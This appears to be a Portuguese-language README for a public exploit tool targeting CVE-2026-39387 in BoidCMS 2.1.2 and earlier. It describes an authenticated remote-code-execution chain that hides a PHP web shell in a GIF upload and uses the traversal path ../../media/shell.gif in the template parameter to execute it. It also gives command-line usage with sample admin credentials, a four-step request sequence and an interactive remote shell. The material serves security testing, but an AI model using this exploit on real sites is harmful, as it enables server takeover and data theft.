xp1tr/cve-2026-39387BoidCMS <= 2.1.2 Exploração de RCE
BoidCMS <= 2.1.2 permite que um atacante autenticado obtenha Execução Remota de Código (RCE) combinando duas fraquezas:
image/gif) sem validar o conteúdo real do arquivo, permitindo que código PHP embutido em um arquivo GIF seja armazenado no servidor.tpl controlado pelo usuário que é resolvido em relação ao diretório de temas sem sanitização, permitindo path traversal (ex.: ../../media/shell.gif) para apontar o template de uma página para o arquivo enviado.Quando a página modificada é renderizada, o interpretador PHP executa o payload embutido.
| Campo | Valor |
|---|
| Software | BoidCMS |
| Versões | <= 2.1.2 |
| CVE | CVE-2026-39387 |
python3 CVE-2026-39387.py -u <target_url> -l <username> -p <password>
| Flag | Descrição | Exemplo |
|---|---|---|
-u, --url | URL base do site BoidCMS alvo | http://target.com |
-l, --user | Nome de usuário administrador | admin |
-p, --passwd | Senha do administrador | password123 |
python3 CVE-2026-39387.py -u http://target.com -l admin -p password123
Após a conclusão do exploit, um prompt de shell interativo (cmd >>) é fornecido para execução de comandos no host remoto.
1. Login → POST /admin (with CSRF token)
2. Upload shell → POST /admin?page=media (shell.gif containing PHP payload)
3. Create page → POST /admin?page=create (tpl=../../media/shell.gif)
4. Execute shell → GET /<permalink>?cmd=<command>
pip install requests
Este exploit é fornecido apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e antiético.